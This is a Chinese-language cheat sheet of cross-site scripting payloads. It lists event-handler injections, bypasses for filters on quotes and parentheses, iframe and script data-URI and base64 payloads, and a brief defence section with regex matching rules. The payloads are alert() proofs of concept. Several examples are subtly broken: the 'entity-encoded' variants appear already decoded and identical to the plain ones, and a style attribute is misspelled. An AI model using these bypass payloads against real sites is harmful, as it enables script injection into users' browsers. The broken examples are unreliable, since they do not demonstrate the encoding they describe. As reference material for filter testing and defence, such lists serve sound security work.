第一类:
<tag on*=*/>
在html标签中触发事件
Example:
1.加载完毕自动触发事件
<body onload="alert('xss')"></body>
2.使html某元素撑满整个页面
<p onclick="alert('1')" style="postion:fixed;100%;heith:100%"> </p>
3.增加属性触发事件
<input onfocus="alert('1')" autofocus/>
特殊字符' 、" 、( 、),如果遇到以上四个字符被过滤的情况,需要通过编码的方式去绕过。
Example:
1.不使用 "
<input onfocus=alert('1') autofocus/>
2.不使用 '
<input onfocus="alert(/1/)" autofocus/>
3.不使用 ( )
<input onfocus="alert`'1'`" autofocus/>
4.不使用 ' " ( )
<input onfocus=alert`1` autofocus/>
5.使用html实体编码绕过
<input onfocus="alert('1')" autofocus/>
6.使用html实体编码绕过变形
<input onfocus="alert('1')" autofocus/>
防范方式
Example:
1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig
2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 “ < ” ,所以只需要将 “ < ” 使用html实体编码转换即可。常见匹配策略 /</g
第二类:<tag src=*/>
Example:
1.在iframe标签中加载一个脚本页面
<iframe src="./alert.html"></iframe>
2.在script标签中加载一个脚本
<script src="./alert.js"></script>
在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本
Example:
1.在iframe标签中使用Data URI scheme直接嵌入文本
<iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script标签中使用Data URI scheme直接嵌入文本
<script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式
Example:
1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第一类的变形使用
Example:
1.使用html实体编码URI
<script src="./alert.js"></script>
2.使用html实体编码Data URI scheme
<script src="data:text/html,alert('1')"></script>
3.使用html实体编码BASE64编码之后的Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>